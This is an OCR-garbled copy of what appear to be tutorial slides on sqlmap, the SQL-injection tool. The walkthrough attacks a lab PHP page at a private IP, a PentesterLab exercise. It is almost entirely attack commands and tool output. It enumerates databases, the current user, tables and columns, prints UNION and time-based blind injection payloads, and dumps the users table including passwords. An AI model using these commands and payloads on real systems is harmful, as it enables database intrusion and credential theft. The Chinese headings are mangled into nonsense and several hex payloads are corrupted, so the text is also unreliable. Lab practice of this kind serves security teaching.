Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: name=root' UNION ALL SELECT CONCAT(0x716b766271,0x756a5479557743

45544575554a64517347675466585a564576636a7/863686556534a6a/726c744d76,0x71626b76
,NULL ,NULL ,NULL ,NULL-- Siue

[11:35:21] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
pack-end DBMS: MySQL >= 5.0.12

available databases [2]: X BRI

[*] exercises S ELE s
[*] information_schema 5tﬂ%ﬁ£#5k

[*] shutting down at 11:35:21



' SQLmap
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3. WEBNA=BIEFAAVE !

&= @ sqlmap —u f§EIEANRurl —current-db

5] : sqlmap -u "http://192.168.244.128/sqli/examplel.php?name=root" —
current-db

Parameter: name (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: name=root' AND SLEEP(5) AND 'Hmog'='Hmog

Type: UNION query

Title: Generic UNION query (NULL) - 5 columns

Payload: name=root' UNION ALL SELECT CONCAT(Ox716b766271,0x756a5479557743
45544575554a64517347675466585a564576636a7/863686556534a6a/726c744d76,0x71626b76
71) ,NULL,NULL,NULL,NULL-- Siue

[11:39:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16

back-end DBMS: MySQL >= 5.0.12 B -
X BB
current database: 'exercises’ B2 24

FRASE FH 4

[¥] shutting down at 11:39:24




' SQLmap
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4. WEBRMNFBSRIEERIFRF

1% : sqlmap —u I§xEiFARurl —current-user

5] : sqlmap -u "http://192.168.244.128/sqli/examplel.php?name=root" —
current-user

Parameter: name (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: name=root' AND SLEEP(5) AND 'Hmog'='Hmog

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: name=root' UNION ALL SELECT CONCAT(0Ox716b766271,0x756a5479557743

45544575554a64517347675466585a564576636a7863686556534aba/26c744d76,0x71626b76
71) ,NULL,NULL,NULL,NULL-- Siue

[11:41:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16

back-end DBMS: MySQL >= 5.0.12 . o
X BT N
current user: 'pentesterlab@localhost’ =T IAEE G

FIBIZE I P

[¥] shutting down at 11:41:36
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5. FILIgEHUEEFRIER

t&10 : sqlmap —u IBEEANRurl -D FEEEIREES —tables

5] : sqlmap -u "http://192.168.244.128/sqli/examplel.php?name=root" -D
exercises --tables

Type: UNION query

Title: Generic UNION query (NULL) - 5 columns

Payload: name=root' UNION ALL SELECT CONCAT(0Ox716b766271,0x756a5479557743
45544575554a64517347675466585a564576636a7863686556534a6a726c744d76,0x71626b76
71) ,NULL,NULL,NULL,NULL-- Siue
[14:32:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0.12

Database: exercises
[1 table]

X B RN
I =
GIERIES

[¥] shutting down at 14:32:13
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6. FHIEERFHIFER

1%L sqlmap —u IEEiFEANRurl -D #¥EER -T && --columns

5] : sqlmap -u "http://192.168.244.128/sqli/examplel.php?name=root" -D
exercises -T users --columns

[14:45:52] [INFO] the back-end DBMS is MySQL

veb server operating system: Linux Debian 6.0 (squeeze
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0.12

Database: exercises
able: users
[5 columns]

| int(11) X B W
| int(11) e e &t
id | int(11) =2 By
|
|

groupid

varchar(50)
varchar(50)

name
passwd

[*] shutting down at 14:45:52
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7. 3HFERIAS :

B : sqlmap —u jEARurl -D BIEER -T £ —columns —-C  "=FE&" --dump
5] : sqlmap -u "http://192.168.244.128/sqli/examplel.php?name=root" -D
exercises -T users -C "age,groupid,id,name,passwd" --dump

back-end DBMS: MySQL >= 5.0.12

XN

. PRI
secret S NRES

azerty

[*] shutting down at 14:52:19



Thanks!




